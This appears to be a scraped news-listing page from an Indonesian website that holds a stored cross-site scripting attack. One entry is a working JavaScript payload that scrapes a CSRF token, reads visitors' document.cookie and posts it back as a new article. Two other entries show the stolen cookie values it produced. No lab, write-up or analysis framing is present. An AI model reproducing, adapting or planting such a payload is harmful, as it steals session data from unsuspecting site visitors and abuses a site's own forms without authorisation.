xss2 ...
2026-08-16dc=_ga%3DGA1.1.1042374194.1786883319%3B%20_ga_3F1XYBESTR%3DGS2.1.s1786883319%24o1%24g0%24t1786883319%24j60%24l0%24h0 ...
xss2 ...
2026-08-16dc=_ga%3DGA1.1.1114891883.1786880839%3B%20_ga_3F1XYBESTR%3DGS2.1.s1786880839%24o1%24g0%24t1786880839%24j60%24l0%24h0 ...
xss ...
2026-08-16fetch('/site/request-password-reset').then(r=>r.text()).then(t=>{ var csrf=(t.match(/name="_csrf-frontend" value="([^"]+)"/)||[])[1]; var data = "dc="+encodeURIComponent(document.cookie); fetch('/berita/create',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'_csrf-frontend='+encodeURIComponent(csrf)+'&Berita[tanggal]=2026-08-16&Berita[judul]=xss2&Berita[status]=1&Berita[created_at]=2026-08-16&Berita[created_by]=1&Berita[updated_at]=2026-08-16&Berita[updated_by]=1&Berita[isi]='+encodeURIComponent(data)+'&Berita[image]=x'}) }); ...
